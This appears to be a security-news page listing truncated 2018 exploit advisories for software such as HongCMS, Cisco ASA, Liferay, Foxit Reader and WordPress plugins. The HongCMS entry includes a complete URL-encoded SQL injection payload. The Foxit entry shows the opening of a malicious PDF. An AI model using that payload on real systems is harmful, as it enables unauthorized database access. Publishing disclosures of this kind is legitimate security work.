The Latest Infosec News, Tools, and Exploits – Got Root?
# Exploit Title: hycus Content Management System v1.0.4 Login Page Bypass # Exploit Author: Berk Dusunur # Vendor Homepage: http://www.hycus.com/ # Software Link: http://demosite.center/hycus/ # Version: 1.0.4 # Tested on: Pardus / Debian Web Server […]
Cisco Adaptive Security Appliance – Path Traversal (CVE-2018-0296) A security vulnerability in Cisco ASA that would allow an attacker to view sensitive system information without authentication by using directory traversal techniques. Vulnerable Products This vulnerability […]
Exploit Title: HongCMS 3.0.0 – SQL Injection Google Dork: [if applicable] Date: 2018/06/26 Exploit Author: Hzllaga Software Link: https://github.com/Neeke/HongCMS/ Version: 3.0.0 Tested on: php5.4 mysql5 CVE : CVE-2018-12912 POC (Administrator Privilege): [su_quote] /admin/index.php/database/operate?dbaction=emptytable&tablename=hong_vvc%60%20where%20vvcid%3D1%20or%20updatexml%282%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%20or%20%60[/su_quote]
Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery Application: osTicket Remotely Exploitable: Yes Authentication Required: NO Versions Affected: <= 7.0.4 Technology: Java Vendor URL: liferay.com Date of found: 04 December 2017 Disclosure: 25 June […]
%PDF 1 0 obj <</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj <</S /JavaScript /JS ( /* Foxit Reader Remote Code Execution Exploit ========================================== Written by: Steven Seeley (mr_me) of Source Incite […]
# Exploit Title: rtorrent 0.9.6 – Denial of Service # Date: 2018-01-10 # Exploit Author: ecx86 # Vendor Homepage: http://rtorrent.net # Software Link: https://github.com/rakshasa/rtorrent/releases # Version: <= 0.9.6 # Tested on: Debian GNU/Linux 9.4 (stretch) […]
Windows: Child Process Restriction Mitigation Bypass Platform: Windows 10 1709 (not tested other versions) Class: Security Feature Bypass Summary: It’s possible to bypass the child process restriction mitigation policy by impersonating the anonymous token leading […]
# # # # # Exploit Title: Joomla! Component Ek Rishta 2.10 – SQL Injection # Dork: N/A # Date: 08.06.2018 # Vendor Homepage: https://www.joomlaextensions.co.in/ # Software Link: https://extensions.joomla.org/extension/ek-rishta/ # Version: 2.10 # Tested on: […]
# Title: WordPress Plugin Pie Register < 3.0.9 – Blind SQL Injection # Author: Manuel García Cárdenas # Date: 2018-05-10 # Software: WordPress Plugin Pie Register 3.0.9 # CVE: CVE-2018-10969 # I. VULNERABILITY # WordPress […]
# Exploit Title: Schools Alert Management Script – SQL Injection # Date: 2018-06-07 # Vendor Homepage: https://www.phpscriptsmall.com/ # Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/ # Category: Web Application # Exploit Author: M3@Pandas # Web: https://github.com/unh3x/just4cve/issues/2 # Tested on: […]
